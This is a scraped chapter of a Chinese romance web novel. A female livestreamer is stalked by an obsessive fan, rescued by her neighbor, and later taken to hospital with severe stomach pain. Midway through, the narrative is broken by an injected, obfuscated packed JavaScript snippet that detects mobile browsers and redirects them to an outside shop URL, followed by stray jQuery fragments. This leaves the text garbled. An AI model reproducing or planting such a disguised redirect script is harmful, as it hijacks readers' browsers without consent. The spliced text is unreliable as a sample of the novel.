文趣网 > 都市小说 > 错把新邻居当成了维修工 > 21.Chapter21
    老公?

    感受到怀里的温软,毛茸茸的脑袋蹭过他的下巴,梁丘砾低头,下颌微微绷紧。确定自己听见了那两个字,脸色一沉。

    他和那个男人长得很像吗?老公也能认错?

    他深吸了一口气,抬手按住她的肩膀,正想推开她,发现怀里的人抖得厉害。

    那双水雾迷蒙的眼睛洇着一层红,她小声快速恳求道:“帮、帮帮我,我被粉丝跟踪了。”

    一个身影追上来,在离他们几步外刹住脚,弯着腰大口喘气。

    “老公,就、就是他。”

    看清卫衣男脸上未散的猥琐神情,梁丘砾来不及细想,揽住她的肩膀将她护在身后。

    山山茶努力控制住语气,尽量不让自己哆嗦道:“你、你不能跟我在一起,我已经有家室了,我有老公了!”

    卫衣男站起身来,头发早已汗湿地贴在额头上,好不容易把歪了的眼镜扶正,听见山山茶的话,像是有什么东西在他脑子里裂开了,不可置信地对着山山茶道:“老公?你有老公了?”

    茶茶垂下眼睛,躲在梁丘砾身后,不敢直视鼠片:“对、对呀,他、他就是我老公。”

    梁丘砾居高临下地睨着他,语气冷硬:“你谁?”

    卫衣男的眼神这才从山山茶身上移到梁丘砾上,男人高出他一个头,肩膀的宽度几乎是他的一倍,站在那里像一道横在他和鼠鼠之间的门,没有缝隙可钻。

    可他的目光又绕过了那道门,落在她攥着衣摆的手上。

    他从收到青团礼盒那天就来了,在医院附近转了好几天,终于等到她。他往前走了一步,绕开梁丘砾的半个身位,伸手去拽山山茶的手臂,语气几乎是在哀求:“鼠鼠,我比他更爱你,你跟我在一起吧,我会对你好的。”

    他的手还没碰到她衣角,梁丘砾已经拧住了他的胳膊,一脚踹在他腿弯。

    卫衣男膝盖一软,整个人歪倒在地上,额头磕在地上,发出一声闷响。

    梁丘砾松开手,没看他,低头对山山茶说:“报警吧。”

    人已经晕过去了,不知道是磕到头了还是吓得。

    山山茶紧张道:“需不需要先报120。”

    梁丘砾上前看了一眼,摇头:“不用,看起来是装的。报警吧。”

    就在这时,在不远处看热闹的大妈也走了过来,冲着鼠片啐了一口:“不要脸,人家姑娘都有老公了,还想猥亵人家,赶紧把这种祸害抓起来。”

    她转头冲山山茶一脸关切道:“小姑娘,你没事吧?”

    山山茶摇摇头,心里的余悸未消:“谢、谢谢阿姨。”

    大妈又看了眼梁丘砾,一秒换上了欣赏的笑,给山山茶了个“小姑娘很有眼光么”的眼神,嘴上却是道:“小伙子,有这么漂亮的媳妇儿是你的福气,可要好好保护人家。”

    “我不……”梁丘砾话到嘴边,却未能解释出口。

    他看向山山茶,她也许是因为受惊,又或者是别的什么,并没有跟人解释这个误会。

    而他自己也未能察觉,他的心里不知何时竟也有了一丝隐秘的期待。如果山山的老公尽不了丈夫的职责,那他可以。

    大妈过来八卦一番,让山山茶原本的紧张害怕稍微减轻了些。

    见山山茶犹豫未决,梁丘砾蹙眉:“害怕?还是不忍心。”

    她的确有点不忍心,她很早就知道鼠片了,他一开始的id还不是这个,具体什么她记不清了,不知什么时候他换成有她名字属性的“鼠片”。

    对鼠片有印象的那次,是他给她留言,问她能不能每天都直播,哪怕只上线二十分钟,叫他点亮个灯牌,能挂满时长就好了。

    他经常给她发消息互动,点赞留评,每天都坚持在直播间里打卡领全亲密度,每月买会员,后来开始给她打赏些礼物,不知不觉也十四级了。

    不曾想,他竟然会做出这样出格的事情。

    他应该在下午的时候就盯上了她,要不是楼内电梯有双层门禁,只能刷卡或者户主同意才可上楼,或许她已经被找上家门了。

    现在若不是有梁丘砾在身边,她还不知道现在会发生什么样的后果。

    鲜活粉丝变成了冰冷的私生,她没办法替他辩解。

    于是她坚定地点点头:“报警吧。”

    事情比她想象的顺利的多。调节室里,鼠片道歉意愿极强,或许是惧怕梁丘砾,也或许是惧怕警察。

    或许是看他改错态度良好,也未造成什么实质性的问题,又或是鉴于梁丘砾也将他的胳膊轻微扭伤,警察只对他口头批评教育了下,建议他们和解。

    山山茶同意了。

    临走前,鼠片还止不住地向她道歉,说自己只是太喜欢她了一时糊涂,以后不会这样了。

    茶茶叹了口气,劝告他以后别再这样了。

    离开警局的路上,梁丘砾点了根烟,烟草味淡淡,不算刺鼻。

    他吸了一口:“原谅了?”

    “嗯。”山山茶垂眸看向自己脚尖。

    她心里其实空落落的,方才真得太害怕了,现在事情解决了,难过却占据了上风。

    她很在意每一个陪着她成长过来的粉丝。鼠片曾经也给了她的温暖,让她知道自己有人喜欢,有人愿意为了她做这么多事。

    她可以不必自卑,可以在镜头里展示自己。

    可是……

    “怎么了?”他问。

    “没事,只是有些难过。”

    空气里安静了一会,只有烟草灼烧的沙沙声。

    过了一会儿,梁丘砾淡淡道:“没什么好难过的。现在,是他伤害了你。”

    “有些东西表面看着不错,内里早就烂掉了。比如……”

    他话没说完,有些话,也不必说那么清楚。

    山山茶摇了摇头,把这些扰人的情绪甩开。

    “嗯,今天……谢谢你。”

    “发生这样的事儿,不告诉他吗?”

    “谁?”

    山山茶疑惑,他口中的“他/她”是谁?

    她没想明白,只看着暮色和一旁腾起的烟雾发呆。

    梁丘砾又吸了两口,他烟瘾不重,只偶尔在心情烦闷的时候会抽根,很快便掐了:“走吧,回家。”

    从警局回来已经快十点了,虽然已经准备好食材,但做起来还需要一定时间。

    “你吃饭了吗?”山山茶侧过脸,声音歉然,“耽误你这么长时间,要是没吃饭的话,我给你做吧?”

    梁丘砾虽然在院里吃过了,但胃里还放得下,他应了声:“好。”

    山山茶给粉丝们请了半小时的假,开始在厨房里忙活,锅碗刚叮当响了几声,小腹忽然一阵绞拧般的坠痛.

    她“嘶”地抽了口气,疼得腰弯了下去。

    梁丘砾本身在一旁帮忙打打下手,见状忙道:“没事吧?”

    “没事。”山山茶扶着台面休息了下,“我今天生理期第一天,所以有点疼。”

    梁丘砾观察着她的表情:“今天还要播吗?休息下吧。”

    山山茶摇摇头,勉强挤出一个笑:“我还好,没事的。”

    她动作比平时快了几分,利落地把吃播要用的食材收拾妥当,又另起锅单独给梁丘砾煮了一碗面,卧了颗蛋,把本身就是给他准备的一只酱大骨放进碗里。

    开播前,她把叠好的衣服给梁丘砾一同送到他家,给小仓鼠打了个招呼,便赶忙回去直播了。

    临走前,梁丘砾再次提醒她:“如果感觉很难受的话,可以休息下,不要把自己的身体搞坏了。”

    山山茶嗯了一声,像给他保证似得:“放心吧,我以前都不怎么疼的,忍忍就过去了。”

    梁丘砾看着她的背影,手指微蜷。

    他打开手机,点开了外卖软件。

    山山茶回到家,在群里回复了下椿来和饼饼发来的关心的消息,简单解释了下被鼠片性骚扰的事,赶忙做开播前准备了。

    她戴上仓鼠眼罩,重新收拾好心情,点开了直播。

    粉丝们一片关心:[鼠鼠怎么啦,今天怎么晚了半小时?][终于开播啦!今晚会延迟半小时吗?][鼠鼠怎么看得脸色好差?]

    “今天出了点小插曲。”山山茶对着镜头甜甜地笑,发了三个福袋。

    桌上摆着一整锅东北酱大骨炖酸菜粉条,热气直冒。她先夹了一块大骨,肉炖得脱骨,蘸了点蒜酱,咬下一口。

    吃第一块的时候感觉还行,肉被炖得很烂,香黏筋道。嚼了几下咽下去,胃里微微一沉,茶茶没在意,又啃了两口。

    又喝了口酸菜汤,酸味冲上来,胃底忽然抽了一下。

    茶茶顿了顿,夹了一筷子粉条,整段吸进嘴里,没嚼两下就往下咽。胃里那点不舒服像被人按了一把,酸气顶到喉咙口,她赶紧端起水杯喝了两口压住。

    弹幕飘过:[鼠鼠今天吃好慢呀。]

    茶茶还是解释:“嗯,今天生理期,有点不舒服啦。”

    没有胃口,吃播效果就不如往常的好,和弹幕的有效互动减少,直播间在线人数都降低了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694199|205617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    椿来和饼饼在群里安慰她,如果不舒服可以休息一天,不要过于勉强自己。

    但茶茶还是想坚持下,她及时调整了自己的状态,虽然吃得稍微缓慢些,但还是尽量保持萌萌的样子,让自己和之前不要相差太多。

    总算啃完一根大骨,搁回碗里,喝了几口热汤,暖暖的。

    可胃里却像有什么东西在翻江倒海,钝钝地往下坠。

    太痛了,这感觉和她胃病犯了的时候一样。

    重新夹了块肉放在嘴里,嚼了两下,咽不下去了。

    她放下筷子,手按住桌沿。胃开始持续拧痛,像被人攥紧了往上提。冷汗顺着鬓角往下淌,她勉强笑了笑,想说话,嘴刚张开,一股酸水猛地顶上来。

    饼饼见状忙发了一条公告和评论置顶:[鼠鼠今天身体不舒服,停播一天,明天管理员给大家发福袋哦!]

    茶茶艰难地将酸水咽回去,强打精神和大家说了抱歉,关了直播。

    她缓了几秒,撑着桌沿站起来,胃里像绞着一把生锈的铁丝,每动一下都扯着疼。

    门外传来隔壁开门的声音,紧接着,急促的敲门声响起:“山山,你怎么了?”

    她踉跄着站起身,走了没几步,膝盖忽然一软。

    梁丘砾在外面焦急等待了半分钟,门总算被打开。

    山山茶一只手撑着门框,另一只手死死按在胃上,她额前的碎发湿透了,贴在苍白的皮肤上,嘴唇几乎没了血色,连呼吸都变得浅而急促。

    梁丘砾瞳孔骤缩。

    “你——”他的话音卡在喉咙里。

    山山茶的膝盖软下去,整个人往前栽倒。

    梁丘砾一步跨上前,手臂从她腋下抄过去,直接把人捞进了怀里。

    她额头撞在他胸口,隔着薄薄的衣料能感觉到他胸腔里那颗心跳得又沉又快。

    “疼……”茶茶病痛折磨的她无力细想,声音细得像线,随时要断。

    梁丘砾没说话,一手揽着她的背,一手抄过她膝弯,打横抱起来就往屋里走。

    他大步走到客厅把她放在沙发上,手里的袋子搁到茶几上。

    山山茶蜷进沙发角,把脸埋进靠垫里,牙齿咬着下唇,闷闷地哼了一声,看向茶几里的袋子。

    竟然有布洛芬、红糖和暖宝宝。

    梁丘砾蹲下身,视线和她平齐。

    他伸手拨开她额前被汗粘住的碎发,掌心贴上去探了探温度,冰凉,全是冷汗。

    茶茶的声音断断续续:“你……什么时候买了那些?是……有布洛芬吗?我吃……吃一颗就好了。”

    梁丘砾的目光落在她按着胃部的手上:“你躺平,我看看。”

    她犹豫了一下,还是慢慢伸直了腿靠进沙发里。

    他的掌心隔着衣料覆上她的小腹,掌心的温度透过薄薄的布料渗进来。

    他轻轻按了按:“这里疼?”

    “不是……还要往上一点。”

    他的掌心往上移,指腹微微用力压下去。

    山山茶猛地吸了一口气,整个人像被电到一样弹了一下,眼泪差点涌出来。

    梁丘砾立刻撤手,想起之前听到的,她有胃病的事,果断道:“我送你去医院。”

    山山茶疼得说不出话来,怎么就要去医院了?

    梁丘砾已经站了起来,弯腰把她从沙发上再次捞进怀里,往外走。

    走廊的声控灯应声亮了,灯光照下来有些刺眼,山山茶虚弱地搂着他的脖子,窝在他怀里,迷迷糊糊掀了下沉重的眼皮。

    男人下颌紧绷着,薄唇抿成一条笔直的线,眉心那道纹路陷得很深。他眼底有一层灼灼的东西,像火炭被风一吹,从里往外烧出来。

    茶茶有些不舒服,调整了下姿势,把脑袋靠在他的肩膀上。

    她注意到他耳后的位置有一颗痣,迷离中,好像与记忆中的那人重了影。

    是谁来着?好熟悉的感觉。

    楼道里的风灌进来,她打了个抖。

    她疼得意识模糊起来,只觉得他两条手臂箍得更紧了些。

    梁丘砾胸膛起伏的幅度在加大,呼吸沉而均匀,一下一下擂在她耳边。

    她闭上眼,听见他心跳撞在胸腔里的声音,又重又急,和他那张极力维持冷静的脸完全两样。

    是他吗?

    记忆中的那个少年。

    心底某处柔软的角落被轻轻撬开,酸涩感也随之漫了上来,丝丝缕缕,不肯散去。

    她轻声道:“小……小豆丁?”